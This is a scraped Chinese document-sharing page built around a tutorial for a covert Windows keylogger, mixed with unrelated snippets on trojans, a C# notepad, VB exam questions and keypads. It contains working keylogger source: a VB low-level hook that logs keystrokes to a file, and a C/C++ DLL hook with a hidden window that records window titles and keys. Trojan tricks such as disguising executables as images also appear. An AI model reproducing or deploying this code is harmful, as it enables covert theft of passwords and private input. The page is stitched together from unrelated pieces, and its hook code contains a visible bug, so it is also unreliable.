记一次键盘记录器的编写

合集下载

keylogger原理

keylogger原理

keylogger原理

Keylogger, also known as a keyboard logger or system monitor, is a type of surveillance software that records every keystroke made on a computer. Its primary purpose is to capture sensitive information such as passwords, usernames, and other personal data entered by users. The keylogger operates by intercepting and logging keystrokes at the hardware or software level, depending on its implementation.

键盘记录器,也称为键盘记录器或系统监视器,是一种监控软件,用于记录计算机上的每个击键。其主要目的是捕获用户输入的敏感信息,如密码、用户名和其他个人数据。键盘记录器通过在硬件或软件层面拦截并记录击键来实现其功能,具体取决于其实现方式。

At the hardware level, a keylogger may be physically installed inside a computer's keyboard or connected externally through a USB device. These devices capture the keystrokes directly from the keyboard's circuitry, making them undetectable by standard antivirus software. However, they require physical access to the target computer for installation, which can be challenging in certain scenarios.

沉默的木马AND键盘记录器

沉默的木马AND键盘记录器

2. 网银木马
网银木马是针对网上交易系统编写的木马病毒,其目的是盗取用户的卡号、密 码,甚至平安证书。此类木马种类数量虽然比不上网游木马,但它的危害更加 直接,受害用户的损失更加沉重。
网银木马通常针对性较强,木马作者可能首先对某银行的网上交易系统进行仔 细分析,然后针对平安薄弱环节编写病毒程序。如2004年的“网银大盗〞病毒, 在用户进入工行网银登录页面时,会自动把页面换成平安性能较差、但依然能 够运转的老版页面,然后记录用户在此页面上填写的卡号和密码;“网银大盗3 〞利用招行网银专业版的备份平安证书功能,可以盗取平安证书;2005年的 “新网银大盗〞,采用API Hook等技术干扰网银登录平安控件的运行。
4、伪装在普通文件中
这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很 容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成 Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是" 不显示的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木 马了。
5、自我销毁
这项功能是为了弥补木马的一个缺陷。我们知道当效劳端用户翻开含有木马的 文件后,木马会将自己拷贝到WINDOWS的系统文件夹中(C:\\WINDOWS或 C:\\WINDOWS\\SYSTEM目录下),一般来说 原木马文件和系统文件夹中的木 马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文 件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能 是指安装完木 马后,原木马文件将自动销毁,这样效劳端用户就很难找到木马 的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。

用C#语言实现记事本(代码)

用C#语言实现记事本(代码)

一记事本

本章介绍如何使用Visual C# 2013设计一个Windows应用程序——记事本,通过本章的学习,可以进一步掌握MenuStrip(菜单)、ToolStrip(工具栏)、RichTextBox(高级文本框)和StatusStrip(状态栏控件)等控件的使用,以及如何使用CommonDialog(公共对话框)实现对文本的存取、格式设置等操作。(说明:所有代码必须在英文状态下使用!)

1.1 记事本简介

记事本是一种常用的软件,在微软的Windows中,自带了一个记事本软件,Windows 7下的记事本软件如图1所示。

图1 Windows自带的记事本

本章介绍的记事本,实现了Windows自带的记事本的部分功能外,并且还可以任意更改字体的字体类型、大小和颜色,并在状态栏中显示时间。为了方便用户的操作,还在程序的窗体上放置了一个工具栏。

本章介绍的记事本程序具有文件的新建、打开、保存功能;文字的复制、粘贴、删除功能;字体类型、格式的设置功能;查看日期时间等功能,并且用户可以根据需要显示或者隐藏工具栏和状态栏。

接下来将详细的介绍记事本程序的设计与实现的步骤和方法。

1.2 记事本界面设计

新建一个Windows窗体应用程序,并命名为“Notepad”。本节介绍记事本程序的界面设计以及界面上各控件的属性设置。

1.打开VS2013 单击文件→新建→项目

2.选择模版→Visual C# →windows→windows窗体应用程序在下面的名称写Notepad

出现界面如图所示

3 更改窗体名称单击窗体,→右下角属性→text 修改为“记事本”如图所示

全能鼠标键盘记录器

全能鼠标键盘记录器

一、全能鼠标键盘记录器-------------------------------------------------------------感谢您选择全能鼠标键盘记录器。全能鼠标键盘记录器是一个功能强大的工具,您可以使用它来完成一些经常需要重复的工作。它能节省您大量的时间,有效地增加您的效率,减少您操作上的错误。通过紧密集成的计划播放器,您可以让一些工作自动的在某个时间完成。这样您可以实现一些真正的无人值守操作。 .易于使用全能鼠标键盘记录器充分考虑到了用户的操作便利性,工具条及菜单的设计都尽可能的人性化,功能的划分也是清晰明了。初次使用只需要花费极短的时间即可以掌握全能鼠标键盘记录器的全部功能。.计划播放每一个在脚本列表中的脚本都可以做计划播放,您可以指定这个脚本在某一个时间播放,比如:每天08:30,每周一的中午,每个月的最后一个星期五等等.功能强大的计划播放给自动播放一个脚本提供了有力的支持.在使用全能鼠标键盘记录器的过程中,相信您很快就能感受到它的便利. .热键运行在脚本列表中的每一个脚本都可以指定一个热键,当按下热键时脚本会开始播放.对于一些经常需要重复的操作,如输入姓名,地址等,打开一个网页等等,您可以将这些操作编为一个脚本,然后指定一个热键,需要的需要按下热键即可完成这些操作.在日常工作中,这是一个非常方便的工具,能为您节省大量的时间. .临时脚本在全能鼠标键盘记录器中,脚本分为普通命名脚本和临时脚本两种,普通命名脚本是一个单独的文件,可以修改它的脚本命令,增加密码保护,设置为自动运行(计划播放和触发器).临时脚本是为方便而设置的,它只能在"脚本管理器"运行时才能使用,您可以使用一个热键快速的录制一段操作,在需要时使用热键快速的进行播放.临时脚本在一些需要即录即用的场合特别好用,因为它几乎不需要进行设置即可完成录制/播放. .密码保护您可以为脚本加上密码保护,这可以防止一些含有私人信息的脚本被播放,或是保护脚本的内容不被其它人修改. .录制脚本的范围可以选择可以建立一个脚本可以通过录制鼠标和键盘动作来完成,通常情况下,录制过程会记录下所有的鼠标和键盘操作,包括两次击键间的时间间隔和普通鼠标的移动轨迹.但有些情况下这是不需要的,全能鼠标键盘记录器允许您改变录制过程中记录的范围. .软件的界面色调可以调整不同的用户有不同的偏好,我们充分尊重用户的选择权.在软件界面上,您可以根据您自己的偏好随意调整全能鼠标键盘记录器

国家二级VB机试(选择题)模拟试卷254(题后含答案及解析)

国家二级VB机试(选择题)模拟试卷254(题后含答案及解析)

国家二级VB机试(选择题)模拟试卷254(题后含答案及解析) 题型有:1.

1.下面属于应用软件的是

A.学生成绩管理系统

B.UNIX操作系统

C.汇编程序

D.编译程序

正确答案:A

解析:计算机软件按功能分为应用软件、系统软件、支撑软件(或工具软件)。系统软件是管理计算机的资源,提高计算机的使用效率,为用户提供各种服务的软件,如操作系统、数据库管理系统、编译程序、汇编程序和网络软件等,B、C、D均为系统软件。应用软件为了应用于特定的领域而开发的软件,A选项正确。

2.关系表中的每一行记录称为一个( )。

A.字段

B.元组

C.属性

D.关键码

正确答案:B

解析:在关系表中,每一列称为一个属性,对应表中的一个字段;每一行称为一个元组,对应表中的一条记录。

3.下列描述中正确的是

A.程序就是软件

B.软件开发不受计算机系统的限制

C.软件既是逻辑实体,又是物理实体

D.软件是程序、数据与相关文档的集合

正确答案:D

解析:计算机软件与硬件是计算机系统中相互依存的两部分。计算机软件是包括程序、数据及相关文档的完整集合。软件由两部分组成:一部分是机器可执行的程序和数据;二是机器不可执行的,与软件开发、运行、维护、使用等有关的文档。软件具有以下六个特点:①软件是一种逻辑实体,而不是物理实体,具有抽象性。②软件的生产与硬件不同,它没有明显的制作过程。③软件在运行、使用期问不存在磨损、老化问题。④软件的开发、运行对计算机系统具有依赖性,受计算机系统的限制,这导致了软件移值的问题。⑤软件复杂性高,成本昂贵。

⑥软件的开发涉及诸多社会因素知识模块:软件工程基础

win10步骤记录器在哪里怎么打开win10步骤记录器图文使用教程

win10步骤记录器在哪里怎么打开win10步骤记录器图文使用教程

win10步骤记录器在哪里怎么打开win10步

骤记录器图文使用教程

Windows 10操作系统是微软公司推出的最新一代操作系统,它具有诸多方便的功能,其中之一就是Win10步骤记录器。该记录器可以记

录用户在计算机上的各种操作,包括鼠标点击、键盘按键等等,非常

适用于教学、演示等场景。然而,很多用户对Win10步骤记录器的位

置和使用方法不太熟悉。本文将详细介绍Win10步骤记录器的打开方

式和使用方法,并附上图文教程,以便读者能够方便地掌握这一功能。

一、Win10步骤记录器的打开方式

Win10步骤记录器位于Windows 10操作系统的“附件”文件夹中,

打开步骤记录器有两种方法,分别是通过菜单和快捷键的方式。

1.通过菜单打开Win10步骤记录器

首先,点击Windows 10桌面左下角的“开始”按钮,打开“开始菜单”。然后,在开始菜单的搜索栏中,输入“步骤记录器”并按下回车键。

![步骤记录器菜单](image1.png)

在搜索结果中,会出现“步骤记录器”选项,点击即可打开Win10步

骤记录器。

2.通过快捷键打开Win10步骤记录器

使用快捷键打开Win10步骤记录器更加方便快捷。只需按下键盘上

的“Win + Shift + R”组合键,即可打开Win10步骤记录器。

![步骤记录器快捷键](image2.png)

二、Win10步骤记录器的使用方法

打开Win10步骤记录器后,我们就可以开始记录操作了。下面将详细介绍Win10步骤记录器的使用方法。

1.开始录制操作步骤

首先,在步骤记录器窗口中,点击界面上的“开始录制”按钮,或按下键盘上的“Ctrl + Alt + R”快捷键。此时,Win10步骤记录器开始录制您的操作步骤。

键盘记录器的使用方法

键盘记录器的使用方法

键盘记录器使用手册

一、下载安装软件

1.在搜索引擎中输入“键盘记录器”或者“Keyboard Logger”,找到合适

的软件版本并从官方网站下载。

2.确保下载的软件安全无毒,并按照提示进行安装。

二、打开软件并添加需要监控的键盘数字

1.打开已安装好的键盘记录器软件。

2.在软件界面中,找到并点击“添加键盘”按钮。

3.在弹出的对话框中,输入需要监控的键盘数字,并点击“确定”。

三、点击开始监控按钮,并查看记录

1.在软件界面中,找到并点击“开始监控”按钮,此时软件将开始记录键盘

输入。

2.每当有键盘输入时,软件将自动记录并显示在界面中。

四、查看记录后,可以按需求进行删除或者导出

1.在软件界面中,可以查看所有的键盘输入记录。

2.根据需求,可以选择性地删除某些记录,或者将记录导出为文本文件或

CSV文件。

五、如不再需要记录功能,可以卸载软件

1.在不再需要使用键盘记录器时,可以卸载该软件。

2.按照常规方法卸载软件,即可删除该软件及其所有相关文件和记录。

请注意:在使用键盘记录器时,务必遵守相关法律法规和道德规范,确保不会侵犯他人的隐私和权益。同时,务必保管好自己的账号和密码,避免被他人盗用或滥用。

单片机键盘输入编程(C语言)

单片机键盘输入编程(C语言)

学习过单片机技术的人都知道,单片机的按键输入一般可分为简单的独立式按键输入及行列式键盘输入两种。图1为简单的独立式键盘输入示意图,独立式键盘输入适合于按键输入不多的情况(<5个按键),具有占用口线较少、软件编写简单容易等特点。

图2为行列式键盘输入示意图,列线接P1.0~P1.3,行线接P1.4~P1.7。行列式键盘输入适合于按键输入多的情况,如有16个按键输入,用简单按键输入用要占用2个输入口(共16位),而使用行列式键盘输入只需占用一个输入口(8位)。但行列式键盘输入软件编写较复杂,对初学者而言有一定的难度。

以上略谈了一下按键输入的情况。在很多状态下,按键输入的值要同时要在LED数码管上显示出来。如一个按键设计为输入递增(加法)键,可以设计成每点按一下,数值递增

加1,同时在LED数码管上显示出来;也可设计成持续按下时,数值以一定时间间隔(如0.3秒)累加。但是当欲输入值较大时(如三位LED数码管作输入显示时的输入值最大为999),则可能按下键的时间太长(最长达300秒),看来这种方式只适用于一位或至多两位数值(最大99)的输入。当然你也可多设几个键,每个键只负责一位数值的输入,但这样会占用较多的口线,浪费宝贵的硬件资源。

大家可能见到过,一些进口的温度控制器(如日本RKC INSTRUMENT INC. 生产的REX_C700温控器)的面板设计为:温度测量值用4位LED数码管显示,输入设定值显示也用4位LED数码管,输入按键只有4个,一个为“模式设定键”,一个为“左移键”,另两个为“加法键”、“减法键”。欲输入设定值(温控值)时,按一下“模式设定键”,程序进入设定状态,此时输入设定值显示的4位LED数码管中,个位显示最亮(稳定显示),而十、百、千位显示较暗(有闪烁感),说明可对个位进行输入。按下“加法键”或“减法键”,即可输入个位数的值;点按一下“左移键”,变为十位显示最亮,而个、百、千位显示较暗,说明可对十位进行输入。按下“加法键”或“减法键”,即可输入十位数的值;……这样可完成4位数的输入。完成输入后,再按一下“模式设定键”,程序即退出设定状态,进入工作运行。用这种输入方法,不仅输入4位数用4个键即可,再多位(5位至24位)的输入也用这4个键就够了。

VB110键盘记录器

VB110键盘记录器

文件名称: 【 键盘记录器 】 创建时间:2010-10-6 7:59:38'模块部分 Public Type EVENTMSG vKey As Long sKey As Long flag As Long time As Long End Type Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Public mymsg As EVENTMSG Public Const WH_KEYBOARD_LL = 13 Public Const WM_KEYDOWN = &H100 Public hHook&, i%, appStr$, SBUF$, pos1$(), pos2$() Sub ints() '初始化数据 appStr = "从" & Now & "开始键盘记录如下..." & vbCrLf SBUF = "96_0|97_1|98_2|99_3|100_4|101_5|102_6|103_7|104_8|105_9|106_*|107_+|109_-|110_.|111_/|13_Enter|144_NumLock|65_A|66_B|67_C|68_D|69_E|70_F|71_G|72_H|73_I|74_J|75_K|76_L|77_M|78_N|79_O|80_P|81_Q|82_R|83_S|84_T|85_U|86_V|87_W|88_X|89_Y|90_Z48_0|49_1|50_2|51_3|52_4|53_5|54_6|55_7|56_8|57_9|192_`|189_-|187_=|220_\|8_BACKSpace|44_Print|45_InSert|46_Delete|145_ScrollLock|36_Home|35_End|19_PauseBreak|33_PageDown|34_PageUp|38_上|40_下|37_左|39_右|27_Esc|112_F1|113_F2|114_F3|115_F4|116_F5|117_F6|118_F7|119_F8|120_F9|121_F10|122_F11|123_F12|9_TAB|20_CapsLock|160_左Shift|162_左Ctrl|91_左Win|13_右Enter|161_右Shift|92_右Win|93_右List|163_右Ctrl" pos1 = Split(SBUF, "|"): ReDim pos2$(256) For i = 0 To UBound(pos1) - 1 pos2(Val(pos1(i))) = Mid(pos1(i), InStr(1, pos1(i), "_") + 1) Next End Sub Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long If ncode = 0 Then If wParam = WM_KEYDOWN Then CopyMemory mymsg, ByVal lParam, Len(mymsg) appStr = appStr & pos2(mymsg.vKey) & " " End If 'FOR循环和判断结构完全去掉了,取而代之的是一个已经定义好的对应数组 End If MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam) End Function '窗体部分 Private Sub form_Load() KeyPreview = 1: ScaleMode = 3: AutoRedraw = 1: Caption = "键盘记录" Module1.ints '初始化数据 hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0) If hHook = 0 Then End End Sub Private Sub Form_Unload(Cancel As Integer) Call UnhookWindowsHookEx(hHook) '程序退出时 Open "D:\getkey.txt" For Append As #1 '打开文本 Print #1, Module1.appStr '一次性记录 Print #1, "到" & Now() & "结束!" & vbCrLf Close #1 End Sub Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer) If KeyCode = vbKeyEscape Then Unload Me End Sub

口令窃取的原理和方法

口令窃取的原理和方法

口令窃取的原理和方法

口令窃取是指黑客通过各种手段获取他人登录账号的密码和其他相关信息,从而非法进入对方的账户进行不当操作的行为。口令窃取被广泛应用于网络攻击中,给用户的个人隐私和资金安全带来了威胁。下面将分别从原理和方法两个方面进行详细介绍。

一、口令窃取的原理:

1. 社会工程学原理:利用心理学和社会学等知识,通过诱骗、欺骗和威胁等手段,诱使用户主动或被动泄露自己的登录账号和密码。例如,黑客可以发送仿冒的电子邮件、短信或电话,冒充合法机构,引诱用户点击链接或输入账号密码。

2. 漏洞利用原理:利用系统或软件存在的漏洞,通过技术手段获取用户的账号密码等敏感信息。例如,黑客通过利用系统或应用程序的安全漏洞,对服务器进行攻击,获取用户的登录信息。

3. 恶意软件原理:通过植入恶意软件,窃取用户的登录账号和密码。恶意软件可以通过各种手段传播,如电子邮件附件、网络下载、USB设备等。一旦用户安装了恶意软件,黑客就可以监控用户的行为并获取敏感信息。

4. 中间人攻击原理:黑客通过篡改网络通信流量,截获用户的登录请求和响应信息,从而获取用户的账号密码。中间人攻击常见于公共Wi-Fi等网络环境下,黑客通过监控用户和服务器之间的通信包,获取目标用户的登录信息。

二、口令窃取的方法:

1. 偷窃法:黑客通过电子邮件、社交媒体等手段获取用户的个人信息,从而猜

测和窃取用户的登录信息。常见的偷窃手段有:查找用户公开发布的个人信息、利用互联网搜索引擎搜索用户的信息、从社交媒体的朋友圈或状态更新中获得线索等。

2. 键盘记录器:黑客在目标计算机上植入恶意软件,用于记录用户的键盘输入,包括所有的账号密码和其他敏感信息。键盘记录器可以通过各种方式传播,如恶意软件下载、电子邮件附件等。

键盘记录器代码

键盘记录器代码
| CFile::modeNoTruncate //与 CFile::modeCreate 组合使用。如果文件不存 在,则创建一个新文件,如果文件存在,则保留他原本的数据。
| CFile::modeWrite//打开文件用于写入数据。
, &e ) ) {
KillTimer(NULL,newTimerID); MessageBox(NULL,"open file failed",NULL,NULL); return ; } //The number of bytes to be transferred from the buffer. For text-mode files, //carriage return–linefeed pairs are counted as single characters. if(file.GetLength()!=0)//判断是否文件为空,非空的话不需要换行
break; case 188:
if(IS) KeyString = "<";
else KeyString = ",";
break; case 189:
if(IS) KeyString = "_";
else KeyString = "-";
break; case 190:

Javascript(JS)键盘事件监听

Javascript(JS)键盘事件监听

js键盘事件全面控制详解

js键盘事件全面控制

主要分四个部分

第一部分:浏览器的按键事件

第二部分:兼容浏览器

第三部分:代码实现和优化

第四部分:总结

第一部分:浏览器的按键事件

用js实现键盘记录,要关注浏览器的三种按键事件类型,即keydown,keypress和keyup,它们分别对应onkeydown、onkeypress和onkeyup这三个事件句柄。一个典型的按键会产生所有这三种事件,依次是keydown,keypress,然后是按键释放时候的keyup。

在这3种事件类型中,keydown和keyup比较底层,而keypress比较高级。这里所谓的高级是指,当用户按下shift + 1时,keypress是对这个按键事件进行解析后返回一个可打印的“!”字符,而keydown和keyup只是记录了shift + 1这个事件。[1]

但是keypress只能针对一些可以打印出来的字符有效,而对于功能按键,如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等,就不会产生keypress事件,但是可以产生keydown和keyup事件。然而在FireFox中,功能按键是可以产生keypress事件的。

传递给keydown、keypress和keyup事件句柄的事件对象有一些通用的属性。如果Alt、Ctrl 或Shift和一个按键一起按下,这通过事件的altKey、ctrlKey和shiftKey属性表示,这些属性在FireFox和IE中是通用的。

“键盘记录器”真的存在:可偷各类账号密码

“键盘记录器”真的存在:可偷各类账号密码

有关能记录账号、密码输入的“键盘记录器”,过去几天在网上引发关注。对此,有网友在果壳网发布测试报告,称“‘键盘记录器’确实存在,而且比我们想象的强大得多”。外观不起眼 酷似U盘“如果你去网吧或公共场所上网,看到如图所示(的物件)连接到你的键盘线上面,请不要使用这台电脑。”10月15日,@央视财经在官微中称,图中连接键盘线和主机USB插口的不起眼设备,可以记录上网人所有的键盘操作,“如QQ、支付宝密码,同样也可以记录你的银行帐号密码”。该微博虽未提供消息源,但很快引爆相关话题。截至昨日22时,其转发量已接近4000人次。从评论中可以看出,不少网友对@央视财经的说法将信将疑。@小蛋蛋_乐园就提出,从配图看,所谓“键盘记录器”明显是U SB的转换接头;还几个网友提出,网吧电脑都是封闭放在箱子里面的,怎么看得到这种设备?就在部分网友还在对“键盘记录器”的功能存疑时,果壳网的“谣言粉碎机”栏目10月17日发布了一篇有关“键盘记录器”的测试报告。按果壳网官方微博的说法,一名警察网友表示,“通过一些渠道,搞到了一个键盘记录器。从他的使用报告来看,这种记录器很厉害。”从测试报告中看出,这位网友购买的“键盘记录器”与一般U盘差不多,但与@央视财经微博中配图的设备不同,其两端是方形插头和接口。按这位网友的说法,虽然他购买这款设备的说明书上用的是繁体字,号称台湾制造,但“据可靠消息真实的制造商在国内”。隐蔽性高 可记录键盘操作这位网友称,当这款设备接入电脑之后,“系统没有任何新硬件提示,安全软件也没有任何反应,也没有新U盘提示”。然后,按说明操作启用后,“这东西把所有键盘的输入内容都记下来了”,并且以记事本的格式存在所使用的电脑上。这不是“键盘记录器”第一次引发网友关注。南都记者注意到,去年12月,湖北恩施电视台就在一档节目中提过“上网谨防键盘记录器”,当时也是援引微博上的说法,称“这种键盘记录器可以记录下经键盘输入的所有信息,包括QQ账号、网银、游戏账号及密码”。此外,通过网络检索“键盘记录器”,也的确可以发现很多相关产品的信息,甚至还有说法称,“键盘记录器”本来是用于家长监控孩子使用电脑的。不过,如前述网友所言,以前提到“键盘记录器”多是类似木马程序那样的软件,而且往往会有杀毒软件监测提示,相比之下这个硬件设备“明显隐蔽性高多了”。而据《钱江晚报》报道,浙江省公安厅相关负责人称,利用“键盘记录器”作案的案例已在温州出现,

相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

新建win32项目

键盘记录器的思路

1.窗口消息处理的框架

一注册窗口类

MyRegisterClass

二实例化并创建窗口

InitInstance

三处理窗口消息

WndProc

2.改造窗口,让它隐藏

3.1 WM_CREATE是窗口创建函数

3.2 WM_DESTROY是窗口关闭函数

建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow);

我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE);

3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控.

那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断

在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE:

…………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就

开始

//写我们所要实现的记录功能,我们称之为钩子函数。

以下为建立钩子程序

这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是

直接运行),实现这个功能,我们只要在这里调用函数即可

在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能

接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中,

注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成

extern"C"_declspec(dllexport) bool installhook();

“C”是指这是c语言代码

_declspec是一个函数

dllexport参数是动态库导出

要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下

#pragma comment(lib,"keyhook")//导入动态库

//导入动态库中的函数

//启动钩子

extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数

//关闭钩子

extern"C"_declspec(dllimport) bool uninstallhook();

然后就开始写钩子程序

要实现以下功能

//获取用户的按键消息

用到SetWindowsHookEx函数,要包含Windows.h的头文件

SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);

第一个参数代表的是我们要获取键盘的消息

第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam);

在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用

这个功能用如下程序来实现

LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){

char szWriteText[256]; //用来保存标题和文本

char szWindowTitle[256]; //保存标题

char szKeyText[256]; //保存文本

//并同时获取当前窗口的标题

HWND hwnd; //创建一个窗口的实例句柄

hwnd = ::GetActiveWindow();//让这个窗口句柄等于当前正在使用的窗口

if (hwnd == NULL)//如果拿不到串钩

{

hwnd = ::GetForegroundWindow();//令窗口等于最顶层窗口

if (hwnd == NULL)//如果还拿不到

{

return CallNextHookEx(g_hHook, code, wParam,lParam);//启动下一次钩取}

}

GetWindowTextA(hwnd, szWindowTitle, 256);//获取窗口文本语句

//并同时获取当前按下的按键文本

if (code < 0 || code == HC_NOREMOVE)//如果键按下了之后还没有弹起来

{

return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}

if (lParam & 0x40000000)//代表一种异常情况

{

return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}

GetKeyNameTextA(lParam, szKeyText, 256);//获取按键文本语句

sprintf(szWriteText, "%s:%s\r\n", szWindowTitle, szWriteText);

//吧拿到的文本放到文件中

FILE* fp = fopen("C:\\Users\\14612\\Desktop\\键盘记录器.txt","a");

if (fp == NULL)//打开文件失败

{

return CallNextHookEx(g_hHook, code, wParam, lParam);

}

fwrite(szWriteText, 1, strlen(szWriteText), fp);

fclose(fp);

return CallNextHookEx(g_hHook, code, wParam, lParam);

}

第三个参数是得到要调用当前应用程序的实例句柄GetModuleHandle是一个函数其作用是获得当前模块的实例句柄,其参数为当前函数的名字keyhook

对于SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);

我们可以定义一个句柄来代表他,因为在其他的函数中可能要用到它

//并同时获取当前窗口的标题

g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);

这个实例句柄的类型是HHOOK

所以我们要先定义

HHOOK g_hHook;

相关文档
最新文档